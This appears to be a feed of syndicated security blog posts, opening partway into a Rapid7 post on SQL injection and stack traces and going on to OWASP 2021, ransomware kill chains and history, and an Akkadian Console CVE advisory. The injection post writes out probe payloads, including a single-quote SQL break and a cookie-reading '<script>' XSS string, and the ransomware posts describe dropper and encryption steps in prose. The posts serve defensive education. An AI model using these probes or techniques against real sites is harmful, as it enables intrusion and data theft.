For our conversation, let’s focus on the production environment of an application and highlight why stack traces in this scenario are bad for two main reasons.

First, they look terrible and are a bad user experience. When browsing an e-commerce product site, “NullPointerException” should not be one of the results. And I don’t recall “/var/www/” being part of my search string when looking for a new pair of sunglasses.

Second, most stack traces tend to divulge more sensitive information than they need to. This is by design — and while it might be helpful to the developer, it can also be all too helpful to an attacker.

So how does one “inject” something into a web application — and what role do stack traces play in this process? Well for the most part, and to keep things simple, GET and POST methods are a great place to start.

Say you come across a URL that ends with this path:

/search_get_by_id.php?id=3

Replace the 3 with a single tick so it looks like this:

/search_get_by_id=’

Now, instead of showing the results for an item with the ID of 3, the application gets confused by the single tick and throws a stack trace like this:

Invalid ProductError 1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1 of SELECT * FROM inventory WHERE id = ‘

Or maybe you’re updating some personal information on a website, but instead of entering in your email address, you enter “<script>alert(document.cookie)</script>” or 1,000 letter As into the parameter instead.

All these examples are forms of injection, and if done correctly, they can do some serious damage to an application. And the best-worst-case scenario for an attacker is that the application yields a stack trace instead of doing whatever it was they were initially trying to do. Either way, it’s a win-win scenario for the attacker.

How stack traces make hackers’ jobs easier

The average person who encounters a stack trace when visiting a website may not think anything other than, “Yikes, I don’t know what this is, so I’m going to hit the back button or try re-entering in my information.” However, an attacker will have a much different reaction — probably something like “YES!” or “FINALLY!”

You see, attackers love stack traces because of the information they yield. They spend hours or even days trying to get an application to throw a stack trace. While the untrained eye sees a mess of gobbledygook on the page, an attacker sees very valuable information that brings them another step closer to their goal.

In the following examples, I’ll give an overview of how an attacker views these stack traces.

*The images depicted below are entirely made up but do contain real snippets from actual stack traces. They’ve also been exaggerated for educational purposes.

Example 1: MySql

OWASP Top 10 Deep Dive: Injection and Stack Traces From a Hacker's Perspective

Things we know:

  • The application is running on a Windows machine, possibly a 32bit OS like XP or NT, judging from the file path.
  • The app is running an outdated and vulnerable version of MySQL.
  • There are multiple critical CVEs for this version of MySQL, everything from Denial of Service attacks to privilege escalation and remote code execution.

Example 2: Laravel PHP

OWASP Top 10 Deep Dive: Injection and Stack Traces From a Hacker's Perspective

Things we know:

  • The application is running on a Windows machine, based on the file path.
  • It’s running XAMPP (multiple known vulnerabilities).
  • It’s also running MySQL (multiple known vulnerabilities).
  • In addition, it’s running a vulnerable version of the PHP Laravel Framework 5.5 CVE-2018-15133.
  • This version of Laravel is susceptible to remote code execution, among other exploits.

Example 3: Apache

OWASP Top 10 Deep Dive: Injection and Stack Traces From a Hacker's Perspective

Things we know:

  • The application is running on a Linux box based on the file path.
  • It’s running Apache Struts (multiple known critical vulnerabilities).
  • It’s also running Apache Tomcat (multiple known critical vulnerabilities).
  • In addition, it’s running a vulnerable version of Apache web server.
  • This version of Apache is susceptible to multiple critical CVEs ranging from Denial of Service attacks to privilege escalation and remote code execution.

Example 4: Java

OWASP Top 10 Deep Dive: Injection and Stack Traces From a Hacker's Perspective

Things we know:

  • The application is running on a Linux box based on the file path.
  • It’s running Spring Framework (multiple known vulnerabilities).
  • It’s also running a vulnerable version of Java.
  • This version of Java is so vulnerable Oracle won’t even give you a specific vulnerability, only that it contains multiple critical CVEs ranging from remote access to self-destruction. I am exaggerating… only slightly, but you get the point.

So while injection went from gold to bronze on the new OWASP Top 10 list for 2021, attackers can and do still use it to produce a treasure trove of information — stack traces being one of those tried-and-true methods.

That said, I’m happy to see that injection has been knocked down a few pegs — this shows that the web industry has managed to move the needle forward by way of security. With the rise of even more popular frameworks that have some security baked in, and the ever-increasing concern for secure apps, developers are seeing security injected into their day-to-day (no pun intended). Whether it be SAST or DAST scanning hooked into their CI/CD, RASPs or WAFs deployed to detect attacks, or even the occasional pen test, security is becoming more and more part of the software development life cycle, and that is awesome.

Who knows? Maybe in another 4 years, injection won’t even make the top 10. If it does, you can bet I’ll write another blog about it.

Stay tuned for future installments in our series of deep dives into OWASP’s updated Top 10 list of application security threats for 2021.

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

Syniverse Hack

Post Syndicated from Bruce Schneier original https://www.schneier.com/blog/archives/2021/10/synaverse-hack.html

This is interesting:

A company that is a critical part of the global telecommunications infrastructure used by AT&T, T-Mobile, Verizon and several others around the world such as Vodafone and China Mobile, quietly disclosed that hackers were inside its systems for years, impacting more than 200 of its clients and potentially millions of cellphone users worldwide.

I’ve never heard of the company.

No details about the hack. It could be nothing. It could be a national intelligence service looking for information.

National Cybersecurity Awareness Month: How Security Pros Can Get Involved

Post Syndicated from Jesse Mack original https://blog.rapid7.com/2021/10/01/national-cybersecurity-awareness-month-how-security-pros-can-get-involved/

National Cybersecurity Awareness Month: How Security Pros Can Get Involved

Fall is a time defined by yearly rituals. For some of us, that means breaking out our favorite knit sweaters, indulging in pumpkin-flavored everything, or — in the immortal words of George Costanza — “shifting into soup mode.”

National Cybersecurity Awareness Month: How Security Pros Can Get Involved

The information security world has its own autumnal observance: National Cybersecurity Awareness Month (NCSAM), promoted each October by the Cybersecurity & Infrastructure Security Agency (CISA). To kick off the 2021 edition, we’re overviewing this year’s themes and providing some ideas to help security professionals make the most of a whole month devoted to their practice.

What’s it all about?

The stated goal of NCSAM is “to raise awareness about the importance of cybersecurity across our Nation, ensuring that all Americans have the resources they need to be safer and more secure online.” Given the growing threat of ransomware and the increased prevalence of high-profile, high-impact data breaches, this year’s installment serves as a much-needed call to focus our collective efforts on security issues.

The numbers bear out the need to shift our combined attention toward security. A stunning 18.8 billion records were breached in the first 6 months of 2021. That’s 2.37 records per individual person living on planet Earth today. In the first half of this year. And of course, these are just the statistics for reported breaches.

We live in a time when digital security is everybody’s business — so it may come as no surprise that CISA’s goal with NCSAM is correspondingly broad and user-centric. The weekly themes for NCSAM 2021 are all about generating smarter and sturdier end-user awareness:

  • Week 1 (10/4-10/10): Be Cyber Smart
  • Week 2 (10/11-10/17): Phight the Phish!
  • Week 3 (10/18-10/24): Explore. Experience. Share. – Cybersecurity Career Awareness Week
  • Week 4 (10/25-10/31): Cybersecurity First

These themes reflect important priorities for cybersecurity awareness. More than 1 in 3 data breaches involves phishing, after all. And given the deepening cybersecurity skills gap, we can all appreciate the push to encourage more people to pursue careers in infosec.

That said, CISA’s focus with these themes is to spread awareness of security concepts among non-expert end users. If you’re an infosec professional, what does NCSAM mean for you?

A practitioner’s approach

For cybersecurity and IT pros, NCSAM presents an opportunity to ensure the non-technical team members at your organization have the basic knowledge and tools they need to maintain security best practices in their day-to-day business activities. October is a good time to:

  • Remind employees how to spot phishing attacks, and explain what to do if they believe they’ve received a phishing email
  • Ensure universal adoption of two-factor authentication for accessing company applications
  • Emphasize the importance of consistent OS and application updates to keep patches up to date
  • Hold a review session of your company’s acceptable use policy for devices, and allow users to ask questions

CISA has put together a wealth of resources that you can use throughout National Cybersecurity Awareness Month to spread security knowledge across your organization. They include ideas for having these conversations with everyone from individual team members to C-level stakeholders and even customers.

Looking ahead

Of course, fall is also about transitions — soup-appropriate temperatures are a reminder that winter’s coming and there’s a new year ahead. That means NCSAM is also a great opportunity for infosec practitioners to reflect on the successes and challenges of 2021 and consider what next year’s cybersecurity priorities will look like.

Throughout October and into the holiday season, we’ll be publishing a range of content about how to prepare your cybersecurity program for 2022. We’ll cover topics like:

  • Moving toward cybersecurity maturity as an organization
  • Tackling the ongoing threat of supply chain risk
  • Considering a zero-trust model for your organization
  • Embracing a security-first culture and getting executive buy-in

Check back with us throughout this month and through the end of the year for more content on these and other cybersecurity planning topics to help you get ready for 2022.

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

The 2021 OWASP Top 10 Have Evolved: Here’s What You Should Know

Post Syndicated from Bria Grangard original https://blog.rapid7.com/2021/09/30/the-2021-owasp-top-10-have-evolved-heres-what-you-should-know/

The 2021 OWASP Top 10 Have Evolved: Here's What You Should Know

Late last week, the Open Web Application Security Project (OWASP) released its top 10 list of critical web application security risks. The last OWASP Top 10 came out in 2017, and in the intervening 4 years, we’ve seen a fundamental shift in application security that includes greater emphasis on securing web applications during the ever-evolving development process.

In this post, we’re going to discuss the 2021 OWASP Top 10, how the list is evolving alongside the web application security discussion, and what you should take away from this year’s Top 10. And if you want to learn more, stay tuned in the coming weeks for deeper dives into several of the main recommendations this year’s OWASP team has identified.

What is the OWASP Top 10?

The OWASP Top 10 is an awareness document that highlights the top 10 most critical web application security risks. The risks are in a ranked order based on frequency, severity, and magnitude for impact.

OWASP has maintained this list since 2003, and every few years, they update the list based on advancements in both application development and application security. Many organizations look to the OWASP Top 10 as a guide for minimizing risk.

So, what’s changed?

As mentioned above, OWASP and their Top 10 have evolved to focus more on helping developers build secure applications and work with security teams. After partnering with organizations and once again taking into consideration frequency, severity, and magnitude for risk that these vulnerabilities introduce, OWASP recently released their new OWASP Top 10 for 2021. Check out the changes below:

The 2021 OWASP Top 10 Have Evolved: Here's What You Should Know

Some of the notable changes include the introduction of new categories, consolidation, and scope changes to categories. Examples of these changes include:

  • The introduction of insecure design — We’ve seen this repeatedly highlighted as an area to watch, as the pressure mounts to continuously deliver new apps and features. An application’s architecture must take thoughtful security principles into account from the very beginning of the design process.
  • Broadened focus of injections — The new injection vulnerability category now includes 33 CWEs and many common injection types, such as SQL and NoSQL. The notable consolidation that took place this year was the inclusion of Cross-Site Scripting (XSS) into the injection category.
  • Vulnerable and outdated components replace “using components with known vulnerabilities” This is an example of an expanded scope of category to include using outdated open-source libraries and their associated vulnerabilities.

What do these changes mean?

The changes to the OWASP Top 10 reflect the shifts we’ve witnessed in application development and security. As the pressure mounts for teams to deliver high-quality products faster than ever, and we see the introduction of many cloud-native technologies to facilitate the acceleration of development cycles, developers must focus on scalable security from the start.

The 2021 OWASP Top 10 highlights a strategic approach to security that includes the architecture that supports the application, as well as the APIs, data, and so much more. The methodologies for testing and monitoring your applications through development to production are also critical in this framework. The 2021 OWASP Top 10 highlights many of these changes with the adoption of best-in-class tools and practices such as shifting left, DevSecOps, and a focus on preventing risk through a combination of both testing and monitoring.

Want to learn more? Stay tuned for our follow-up blogs, where we’ll take a deeper dive into some of the OWASP Top 10 to discuss what’s changed and why these updates are important.

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

Introducing the Ransomware Risk Management on AWS Whitepaper

Post Syndicated from Temi Adebambo original https://aws.amazon.com/blogs/security/introducing-the-ransomware-risk-management-on-aws-whitepaper/

AWS recently released the Ransomware Risk Management on AWS Using the NIST Cyber Security Framework (CSF) whitepaper. This whitepaper aligns the National Institute of Standards and Technology (NIST) recommendations for security controls that are related to ransomware risk management, for workloads built on AWS. The whitepaper maps the technical capabilities to AWS services and implementation guidance. While this whitepaper is primarily focused on managing the risks associated with ransomware, the security controls and AWS services outlined are consistent with general security best practices.

The National Cybersecurity Center of Excellence (NCCoE) at NIST has published Practice Guides (NIST 1800-11, 1800-25, and 1800-26) to demonstrate how organizations can develop and implement security controls to combat the data integrity challenges posed by ransomware and other destructive events. Each of the Practice Guides include a detailed set of goals that are designed to help organizations establish the ability to identify, protect, detect, respond, and recover from ransomware events.

The Ransomware Risk Management on AWS Using the NIST Cyber Security Framework (CSF) whitepaper helps AWS customers confidently meet the goals of the Practice Guides the following categories:

Identify and protect

  • Identify systems, users, data, applications, and entities on the network.
  • Identify vulnerabilities in enterprise components and clients.
  • Create a baseline for the integrity and activity of enterprise systems in preparation for an unexpected event.
  • Create backups of enterprise data in advance of an unexpected event.
  • Protect these backups and other potentially important data against alteration.
  • Manage enterprise health by assessing machine posture.

Detect and respond

  • Detect malicious and suspicious activity generated on the network by users, or from applications that could indicate a data integrity event.
  • Mitigate and contain the effects of events that can cause a loss of data integrity.
  • Monitor the integrity of the enterprise for detection of events and after-the-fact analysis.
  • Use logging and reporting features to speed response time for data integrity events.
  • Analyze data integrity events for the scope of their impact on the network, enterprise devices, and enterprise data.
  • Analyze data integrity events to inform and improve the enterprise’s defenses against future attacks.

Recover

  • Restore data to its last known good configuration.
  • Identify the correct backup version (free of malicious code and data for data restoration).
  • Identify altered data, as well as the date and time of alteration.
  • Determine the identity/identities of those who altered data.

To achieve the above goals, the Practice Guides outline a set of technical capabilities that should be established, and provide a mapping between the generic application term and the security controls that the capability provides.

AWS services can be mapped to theses technical capabilities as outlined in the Ransomware Risk Management on AWS Using the NIST Cyber Security Framework (CSF) whitepaper. AWS offers a comprehensive set of services that customers can implement to establish the necessary technical capabilities to manage the risks associated with ransomware. By following the mapping in the whitepaper, AWS customers can identify which services, features, and functionality can help their organization identify, protect, detect, respond, and from ransomware events. If you’d like additional information about cloud security at AWS, please contact us.

If you have feedback about this post, submit comments in the Comments section below.

Want more AWS Security how-to content, news, and feature announcements? Follow us on Twitter.

Author

Temi Adebambo

Temi is the Senior Manager for the America’s Security and Network Solutions Architect team. His team is focused on working with customers on cloud migration and modernization, cybersecurity strategy, architecture best practices, and innovation in the cloud. Before AWS, he spent over 14 years as a consultant, advising CISOs and security leaders.

Rapid7 Statement on the New Standard Contractual Clauses for International Transfers of Personal Data

Post Syndicated from Chelsea Portney original https://blog.rapid7.com/2021/09/21/rapid7-statement-on-the-new-standard-contractual-clauses-for-international-transfers-of-personal-data/

Rapid7 Statement on the New Standard Contractual Clauses for International Transfers of Personal Data

Context: On June 4, 2021, the European Commission published new standard contractual clauses (“New SCCs”). Under the General Data Protection Regulation (“GDPR”), transfers of personal data to countries outside of the European Economic Area (EEA) must meet certain conditions. The New SCCs are an approved mechanism to enable companies transferring personal data outside of the EEA to meet those conditions, and they replace the previous set of standard contractual clauses (“Old SCCs”), which were deemed inadequate by the Court of Justice of the European Union (“CJEU”). The New SCCs made a number of improvements to the previous version, including but not limited to (i) a modular design which allows parties to choose the module applicable to the personal data being transferred, (ii) use by non-EEA data exporters, and (iii) strengthened data subjects rights and protections.

Rapid7 Action: In light of the European Commission’s adoption of the New SCCs, Rapid7 performed a thorough assessment of its personal data transfers which involved reviewing the technical, contractual, and organizational measures we have in place, evaluating local laws where the personal data will be transferred, and analyzing the necessity for the transfers in accordance with the type and scope of the personal data being transferred. Rapid7 will be updating our Data Processing Addendum on September 27, 2021, to incorporate the New SCCs, where required, for the transfer of personal data outside of the EEA. Rapid7’s adoption of the New SCCs helps ensure we are able to continue to serve all our clients in compliance with GDPR data transfer rules.

Ongoing Commitments: Rapid7 is committed to upholding high standards of privacy and security for our customers, and we are pleased to be able to offer the New SCCs which provide enhanced protections that better take account of the rapidly evolving data environment. We will continue to monitor ongoing changes in order to comply with applicable law and will regularly assess our technical, contractual, and organizational measures in an effort to improve our data protection safeguards. For information on how Rapid7 collects, uses, and discloses personal data, as well as the choices available regarding personal data collected by Rapid7, please see the Rapid7 Privacy Policy. Additionally, Rapid7 remains dedicated to maintaining and enhancing our robust security and privacy program which is outlined in detail on our Trust page.

For more information about our security and privacy program, please email [email protected].

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

The Ransomware Killchain: How It Works, and How to Protect Your Systems

Post Syndicated from Erick Galinkin original https://blog.rapid7.com/2021/09/16/the-ransomware-killchain-how-it-works-and-how-to-protect-your-systems/

The Ransomware Killchain: How It Works, and How to Protect Your Systems

Much ado has been made (by this very author on this very blog!) about the incentives for attackers and defenders around ransomware. There is also a wealth of information on the internet about how to protect yourself from ransomware. One thing we want to avoid losing sight of, however, is just how we go from a machine that is working perfectly fine to one that is completely inoperable due to ransomware. We’ll use MITRE’s ATT&CK as a vague guide, but we don’t follow it exactly.

Ransomware targeting and delivery

As LockFile is ravaging Exchange servers just a few short weeks after widespread exploitation was documented, we can draw two conclusions:

  1. If you’re running an Exchange server, please stop reading this blog and go patch right away.
  2. When a widely exploitable vulnerability is available, ransomware actors will target it — no matter who you are.

Highly targeted attacks have certainly leveraged ransomware, but for nearly all of these actors, the goal is profit. That means widespread scanning for and exploitation of server-side vulnerabilities that allow for initial access, coupled with tools for privilege escalation and lateral movement. It also means the use of watering hole attacks, exploit kits, and spam campaigns.

That is to say, there are a few ways the initial access to a particular machine can come about, including through:

  1. Server-side vulnerability
  2. Lateral movement
  3. Watering hole or exploit kit
  4. Spam or phishing

The particular method tends to be subject to the availability of widely exploitable vulnerabilities and the preferences of the cybercrime group in question.

Droppers

The overwhelming majority of ransomware operators don’t directly drop the ransomware payload on a victim machine. Instead, the first stage tends to be something like TrickBot, Qbot, Dridex, Ursnif, BazarLoader, or some other dropper. Upon execution, the dropper will often disable detection and response software, extract credentials for lateral movement, and — crucially — download the second-stage payload.

This all happens quietly, and the second-stage payload may not be dropped immediately. In some cases, the dropper will drop a second-stage payload which is not ransomware — something like Cobalt Strike. This tends to happen more frequently in larger organizations, where the potential payoff is much greater. When something that appears to be a home computer is infected, actors will typically quickly encrypt the machine, demand a payment that they expect to be paid, and move on with their day.

Once the attacker has compromised to their heart’s content — one machine, one subnet, or every machine at an organization — they pull the trigger on the ransomware.

How ransomware works

By this point, nearly every security practitioner and many laypeople have a conceptual understanding of the mechanics of ransomware: A program encrypts some or all of your files, displays a message demanding payment, and (usually) sends a decryption key when the ransom is paid. But under the hood, how do these things happen? Once the dropper executes the ransomware, how does it work?

Launching the executable

The dropper will launch the executable. Typically, once it has achieved persistence and escalated privileges, the ransomware will either be injected into a running process or executed as a DLL. After successful injection or execution, the ransomware will build its imports and kill processes that could stop it. Many ransomware families will also delete all shadow copies and possible backups to maximize the damage.

The key

The first step of the encryption process is getting a key to actually encrypt the files with. Older and less advanced ransomware families will first reach out to a command and control server to request a key. Others come with built-in secret keys — these are typically easy to decrypt, with the right decrypter. Others still will use RSA or some other public key encryption so that no key needs to be imported. Many advanced families of ransomware today use both symmetric key encryption for speed and public key encryption to prevent defenders from intercepting the symmetric key.

For these modern families, an RSA public key is embedded in the executable, and an AES key is generated on the victim machine. Then, the files are encrypted using AES, and the key is encrypted using the RSA public key. Therefore, if a victim pays the ransom, they’re paying for the private key to decrypt the key that was used to encrypt all of their files.

Encryption

Once the right key is in place, the ransomware begins encryption of the filesystem. Sometimes, this is file-by-file. In other cases, they encrypt blocks of bytes on the system directly. In both cases, the end result is the same — an encrypted filesystem and a ransom note requesting payment for the decryption key.

Payment and decryption

The typical “business” transaction involves sending a certain amount of bitcoin to a specified wallet and proof of payment. Then, the hackers provide their private key and a decryption utility to the victim. In most cases, the attackers actually do follow through on giving decryption keys, though we have recently seen a rise in double encryption, where two payments need to be made.

Once the ransom is paid and the files are decrypted, the real work begins.

Recovery

Recovering encrypted files is an important part of the ransomware recovery process, and whether you pay for decryption, use an available decrypter, or some other method, there’s a catch to all of it. The attackers can still be in your environment.

As mentioned, in all but the least interesting cases (one machine on one home network), attackers are looking for lateral movement, and they’re looking to establish persistence. That means that even after the files have been decrypted, you will need to scour your entire environment for residual backdoors, cobalt strike deployments, stolen credentials, and so on. A full-scale incident response is warranted.

Even beyond the cost of paying the ransom, this can be an extremely expensive endeavor. Reimaging systems, resetting passwords throughout an organization, and performing threat hunting is a lot of work, but it’s necessary. Ultimately, failing to expunge the attacker from all of your systems means that if they want to double dip on your willingness to pay (especially if you paid them!), they just have to walk through the back door.

Proactive ransomware defense

Ransomware is a popular tactic for cybercrime organizations and shows no signs of slowing down. Unlike intellectual property theft or other forms of cybercrime, ransomware is typically an attack of opportunity and is therefore a threat to organizations of all sizes and industries. By understanding the different parts of the ransomware killchain, we can identify places to plug into the process and mitigate the issue.

Patching vulnerable systems and knowing your attack surface is a good first step in this process. Educating your staff on phishing emails, the threats of enabling macros, and other security knowledge can also help prevent the initial access.

The use of two-factor authentication, disabling of unnecessary or known-insecure services, and other standard hardening measures can help limit the spread of lateral movement. Additionally, having a security program that identifies and responds to threats in your environment is crucial for controlling the movement of attackers.

Having off-site backups is a really important step in this process as well. Between double extortion and the possibility that the group that attacked your organization and encrypted your files just isn’t an honest broker, there are many ways that things could go wrong after you’ve decided to pay the ransom. This can also make the incident response process easier, since the backup images themselves can be checked for signs of intrusion.

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

The Rise of Disruptive Ransomware Attacks: A Call To Action

Post Syndicated from boB Rudis original https://blog.rapid7.com/2021/09/10/the-rise-of-disruptive-ransomware-attacks-a-call-to-action/

The Rise of Disruptive Ransomware Attacks: A Call To Action

Our collective use of and dependence on technology has come quite a long way since 1989. That year, the first documented ransomware attack — the AIDS Trojan — was spread via physical media (5 1⁄4″ floppy disks) delivered by the postal service to individuals subscribed to a mailing list. The malware encrypted filenames (not the contents) and demanded payment ($189 USD) to be sent to a post office box to gain access to codes that would unscramble the directory entries.

That initial ransomware attack — started by an emotionally disturbed AIDS researcher — gave rise to a business model that has evolved since then to become one of the most lucrative and increasingly disruptive cybercriminal enterprises in modern history.

In this post, we’ll:

  • Examine what has enabled this growth
  • See how tactics and targets have morphed over the years
  • Take a hard look at the societal impacts of more recent campaigns
  • Paint an unfortunately bleak picture of where these attacks may be headed if we cannot work together to curtail them

Building the infrastructure of our own demise: Ransomware’s growth enablers

As PCs entered homes and businesses, individuals and organizations increasingly relied on technology for everything from storing albums of family pictures to handling legitimate business processes of all shapes and sizes. They were also becoming progressively more connected to the internet — a domain formerly dominated by academics and researchers. Electronic mail (now email) morphed from a quirky, niche tool to a ubiquitous medium, connecting folks across the globe. The World Wide Web shifted from being a medium solely used for information exchange to the digital home of corporations and a cadre of storefronts.

The capacity and capabilities of cyberspace grew at a frenetic pace and fueled great innovation. The cloud was born, cheaply putting vast compute resources into the hands of anyone with a credit card and reducing the complexity of building internet-enabled services. Today, sitting on the beach in an island resort, we can speak to the digital assistant on our smartphones and issue commands to our home automatons thousands of miles away.

Despite appearances, this evolution and expansion was — for the most part — unplanned and emerged with little thought towards safety and resilience, creating (unseen by most) fragile interconnections and interdependencies.

The concept and exchange mechanisms of currency also changed during this time. Checks in the mail and wire transfers over copper lines have been replaced with digital credit and debit transactions and fiat-less digital currency ledger updates.

So, we now have blazing fast network access from even the most remote locations, globally distributed, cheap, massive compute resources, and baked-in dependence on connected technology in virtually every area of modern life, coupled with instantaneous (and increasingly anonymous) capital exchange. Most of this infrastructure — and nearly all the processes and exchanges that run on it — are unprotected or woefully under protected, making it the perfect target for bold, brazen, and clever criminal enterprises.

From pictures to pipelines: Ransomware’s evolving targets and tactics

At their core, financially motivated cybercriminals are entrepreneurs who understand that their business models must be diverse and need to evolve with the changing digital landscape. Ransomware is only one of many business models, and it’s taken a somewhat twisty path to where we are today.

Attacks in the very early 2000s were highly regional (mostly Eastern Europe) and used existing virus/trojan distribution mechanisms that randomly targeted businesses via attachments spread by broad stroke spam campaigns. Unlike their traditional virus counterparts, these ransomware pioneers sought small, direct payouts in e-gold, one of the first widely accessible digital currency exchanges.

By the mid-2000s, e-gold was embroiled in legal disputes and was, for the most part, defunct. Instead of assuaging attackers, even more groups tried their hands at the ransomware scheme, since it had a solid track record of ensuring at least some percentage of payouts.

Many groups shifted attacks towards individuals, encrypting anything from pictures of grandkids to term papers. Instead of currency, these criminals forced victims to procure medications from online pharmacies and hand over account credentials so the attackers could route delivery to their drop boxes.

Others took advantage of the fear of exposure and locked up the computer itself (rather than encrypt files or drives), displaying explicit images that could be dismissed after texting or calling a “premium-rate” number for a code.

However, there were those who still sought the refuge of other fledgling digital currency markets, such as Liberty Reserve, and migrated the payout portion of encryption-based campaigns to those exchanges.

By the early 2010s — due, in part, to the mainstreaming of Bitcoin and other digital currencies/exchanges, combined with the absolute reliance of virtually all business processes on technology — these initial, experimental business models coalesced into a form we should all recognize today:

  • Gain initial access to a potential victim business. This can be via phishing, but it’s increasingly performed via compromising internet-facing gateways or using legitimate credentials to log onto VPNs — like the attack on Colonial Pipeline — and other remote access portals. The attacks shifted focus to businesses for higher payouts and also a higher likelihood of receiving a payout.
  • Encrypt critical files on multiple critical systems. Attackers developed highly capable, customized utilities for performing encryption quickly across a wide array of file types. They also had a library of successful, battle-tested techniques for moving laterally throughout an organization. Criminals also know the backup and recovery processes at most organizations are lacking.
  • Demanding digital currency payout in a given timeframe. Introducing a temporal component places added pressure on the organization to pay or potentially lose files forever.

The technology and business processes to support this new model became sophisticated and commonplace enough to cause an entire new ransomware as a service criminal industry to emerge, enabling almost anyone with a computer to become an aspiring ransomware mogul.

On the cusp of 2020 a visible trend started to emerge where victim organizations declined to pay ransom demands. Not wanting to lose a very profitable revenue source, attackers added some new techniques into the mix:

  • Identify and exfiltrate high-value files and data before encrypting them. Frankly, it’s odd more attackers did not do this before the payment downturn (though, some likely did). By spending a bit more time identifying this prized data, attackers could then use it as part of their overall scheme.
  • Threaten to leak the data publicly or to the individuals/organizations identified in the data. It should come as no surprise that most ransomware attacks go unreported to the authorities and unseen by the media. No organization wants the reputation hit associated with an attack of this type, and adding exposure to the mix helped return payouts to near previous levels.

The high-stakes gambit of disruptive attacks: Risky business with significant collateral damage

Not all ransomware attacks go unseen, but even the ones that gained some attention rarely make it to mainstream national news. In the U.S. alone, hundreds of schools and municipalities have experienced disruptive and costly ransomware attacks each year going back as far as 2016.

Municipal ransomware attacks

When a town or city is taken down by a ransomware attack, critical safety services such as police and first responders can be taken offline for days. Businesses and citizens cannot make payments on time-critical bills. Workers, many of whom exist paycheck-to-paycheck, cannot be paid. Even when a city like Atlanta refuses to reward criminals with a payment, it can still cost taxpayers millions of dollars and many, many months to have systems recovered to their previous working state.

School-district ransomware attacks

Similarly, when a school district is impacted, schools — which increasingly rely on technology and internet access in the classroom — may not be able to function, forcing parents to scramble for child care or lose time from work. As schools were forced online during the pandemic, disruptive ransomware attacks also made remote, online classes inaccessible, exacerbating an already stressful learning environment.

Hobbled learning is not the only potential outcome as well. Recently, one of the larger districts in the U.S. fell victim to a $547,000 USD ransom attack, which was ultimately paid to stop sensitive student and personnel data from becoming public. The downstream identity theft and other impacts of such a leak are almost impossible to calculate.

Healthcare ransomware attacks

Hundreds of healthcare organizations across the U.S. have also suffered annual ransomware attacks over the same period. When the systems, networks, and data in a hospital are frozen, personnel must revert to back up “pen-and-paper” processes, which are far less efficient than their digital counterparts. Healthcare emergency communications are also increasing digital, and a technology blackout can force critical care facilities into “divert” mode, meaning that incoming ambulances with crisis care patients will have to go miles out of their way to other facilities and increase the chances of severe negative outcomes for those patients — especially when coupled with pandemic-related outbreak surges.

The U.K. National Health Service was severely impacted by the WannaCry ransom-“worm” gone awry back in 2017. In total, “1% of NHS activity was directly affected by the WannaCry attack. 80 out of 236 hospital trusts across England [had] services impacted even if the organisation was not infected by the virus (for instance, they took their email offline to reduce the risk of infection); [and,] 595 out of 7,4545 GP practices (8%) and eight other NHS and related organisations were infected,” according to the NHS’s report.

An attack on Scripps Health in the U.S. in 2021 disrupted operations across the entire network for over a month and has — to date — cost the organization over $100M USD, plus impacted emergency and elective care for thousands of individuals.

An even more deliberate massive attack against Ireland’s healthcare network is expected to ultimately cost taxpayers over $600M USD, with recovery efforts still underway months after the attack, despite attackers providing the decryption keys free of charge.

Transportation ransomware attacks

San Francisco, Massachusetts, Colorado, Montreal, the UK, and scores of other public and commercial transportation systems across the globe have been targets of ransomware attacks. In many instances, systems are locked up sufficiently to prevent passengers from getting to destinations such as work, school, or medical care. Locking up freight transportation means critical goods cannot be delivered on time.

Critical infrastructure ransomware attacks

U.S. citizens came face-to-face with the impacts of large-scale ransomware attacks in 2021 as attackers disrupted access to fuel and impacted the food supply chain, causing shortages, panic buying, and severe price spikes in each industry.

Water systems and other utilities across the U.S. have also fallen victim to ransomware attacks in recent years, exposing deficiencies in the cyber defenses in these sectors.

Service provider ransomware attacks

Finally, one of the most high-profile ransomware attacks of all time has been the Kaseya attack. Ultimately, over 1,500 organizations — everything from regional retail and grocery chains to schools, governments, and businesses — were taken offline for over a week due to attackers compromising a software component used by hundreds of managed service providers. Revenue was lost, parents scrambled for last-minute care, and other processes were slowed or completely stopped. If the attackers had been just a tad more methodical, patient, and competent, this mass ransomware attack could have been even more far-reaching and even more devastating than it already was.

The road ahead: Ransomware will get worse until we get better

The first section of this post showed how we created the infrastructure of our own ransomware demise. Technology has advanced and been adopted faster than our ability to ensure the safety and resilience of the processes that sit on top of it. When one of the largest distributors of our commercial fuel supply still supports simple credential access for remote access, it is clear we have all not done enough — up to now — to inform, educate, and support critical infrastructure security, let alone those of schools, hospitals, municipalities, and businesses in general.

As ransomware attacks continue to escalate and become broader in reach and scope, we will also continue to see increasing societal collateral damage.

Now is the time for action. Thankfully, we have a framework for just such action! Rapid7 was part of a multi-stakeholder task force charged with coming up with a framework to combat ransomware. As we work toward supporting each of the efforts detailed in the report, we encourage all other organizations and especially all governments to dedicate time and resources towards doing the same. We must work together to stem the tide, change the attacker economics, and reduce the impacts of ransomware on society as a whole.

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

CVE-2021-3546[78]: Akkadian Console Server Vulnerabilities (FIXED)

Post Syndicated from Tod Beardsley original https://blog.rapid7.com/2021/09/07/cve-2021-3546-78-akkadian-console-server-vulnerabilities-fixed/

CVE-2021-3546[78]: Akkadian Console Server Vulnerabilities (FIXED)

Over the course of routine security research, Rapid7 researchers Jonathan Peterson, Cale Black, William Vu, and Adam Cammack discovered that the Akkadian Console (often referred to as “ACO”) version 4.7, a call manager solution, is affected by two vulnerabilities. The first, CVE-2021-35468, allows root system command execution with a single authenticated POST request, and CVE-2021-35467 allows for the decryption of data encrypted by the application, which results in the arbitrary creation of sessions and the uncovering of any other sensitive data stored within the application. Combined, an unauthenticated attacker could gain remote, root privileges to a vulnerable instance of Akkadian Console Server.

CVE Identifier CWE Identifier Base CVSS score (Severity) Remediation
CVE-2021-35467 Title CWE-321: Use of Hard-Coded Cryptographic Key Fixed in Version 4.9
CVE-2021-35468 Text CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’) Fixed in Version 4.9

Product Description

Akkadian Console (ACO) is a call management system allowing users to handle incoming calls with a centralized management web portal. More information is available at the vendor site for ACO.

Credit

